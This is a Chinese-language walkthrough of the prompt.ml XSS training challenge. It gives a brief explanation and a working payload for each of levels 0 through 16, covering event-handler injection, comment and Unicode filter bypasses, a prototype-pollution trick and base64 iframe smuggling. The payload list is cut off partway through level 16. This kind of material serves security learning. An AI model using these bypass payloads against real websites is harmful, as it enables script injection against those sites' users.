XSS靶场-xss游戏闯关攻略
prompt-xss游戏闯关攻略
挑战地址:http://prompt.ml/0
Git:from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml
规则:
成功执行js代码,必须使用prompt方法;
Level 0
答案
"><svg/onload=prompt(1)>
Level 1
该级别实际是简单的过滤了
>
,需要绕过以下即可。
答案
<img/src=x onerror=prompt(1) <
Level 2
该级别过滤了
=
、(
两种符号,游戏有点古板,必须依照固有的方法;
答案
<script>prompt`1`</script>
游戏不支持`,故而使用js的eval方法:
<script>eval.call`${'prompt\x281)'}`</script>
Level 3
过滤了
->
。html5的注释标签可以使用-->
,也可以使用--!>
。payload如下:
--!><svg/onload=prompt(1)><--
--!><img/src=1 onerror=prompt(1)><--
Level 4
这个题目是利用url的特性绕过,浏览器支持这样的url:http://user:password/@attacker.com。
由于这里的正则特性和decodeURIComponent
函数,所以可以使用%2f
绕过;
答案(vps定义js脚本)
//prompt.ml%[email protected]/4c
Level 5
答案
" type=image src onerror
=prompt(1) "
Level 6
输入插入到form表单中。
答案
javascript:prompt(1)#{"action":1}
Level 7
可以使用js注释绕过。
答案
"><svg/a=#"onload='/*#*/prompt(1)'
Level 8
这个问题考编码技巧:
<LS>
是U+2028,是Unicode中的行分隔符。<PS>
是U+2029,是Unicode中的段落分隔符。
另外
-->
,也可以在js中当注释使用;答案如下:
答案
[U+2028]prompt(1)[U+2028]-->
Level 9
这一关函数特性,toUpperCase()支持Unicode。
ſ
通过toUpperCase(),转为ASCII字符"S"。
答案
<ſcript/ſrc=//⒕₨></ſcript>
Level 10
两个正则过滤,很low
答案
p'rompt(1)
Level 11
输出在script标签中,过滤了特殊符号。in复制判断型;
答案
"(prompt(1))in"
Level 12
该题主要是利用toString()解答。eval可以直接执行字符串。如下:
因此,
- 可以
eval((1558153217).toString(36))(1)
- 也可以
eval(1558153217.toString(36))(1)
- 还可以
eval(630038579.toString(30))(1)
答案
eval((1558153217).toString(36))(1)
Level 13
答案(Lcy提供)
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
Level 14
base64绕过。
答案
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
Level 15
html注释<!--,-->也可以在js中使用
答案
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
Level 16
js的变量提升
答案
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t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